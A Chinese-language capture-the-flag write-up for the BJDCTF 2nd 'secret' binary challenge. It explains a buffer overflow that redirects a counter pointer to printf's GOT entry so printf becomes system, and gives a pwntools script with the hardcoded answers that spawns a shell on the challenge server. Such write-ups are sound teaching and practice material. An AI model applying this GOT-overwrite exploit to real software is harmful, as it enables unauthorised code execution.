BJDCTF 2nd secret

161 篇文章 11 订阅
161 篇文章 11 订阅

BJDCTF 2nd secret

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

是一个猜数游戏,数值全在代码里,但是有10000个,显然全部抠出来太慢了。

我们再看一下其他函数,发现输入name时,存在缓冲区溢出,可以改写0x000000000046D090处的指针,而该处指针指向count变量,每猜一下,就会对count减1。

然后,我们注意到printf的got表的值比system的got表的值大,并且相差0x10.

因此,我们可以利用溢出,把指针覆盖为printf的got表,然后猜对15次,最后一次猜错。这会导致printf的got表值减去16,也就变成了system的got表一样的值。从而能够调用system。

#coding:utf8
from pwn import *

#sh = process('./secret')
sh = remote('node3.buuoj.cn',26191)
elf = ELF('./secret')
printf_got = elf.got['printf']

answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = '/bin/sh\x00'.ljust(0x10,'\x00') + p32(printf_got)
sh.sendafter("What's your name?",payload)
for x in answer:
   sh.sendlineafter('Secret:',str(x))
#现在printf的got表被修改为了system_plt
#getshell
sh.sendlineafter('Secret:','1')

sh.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值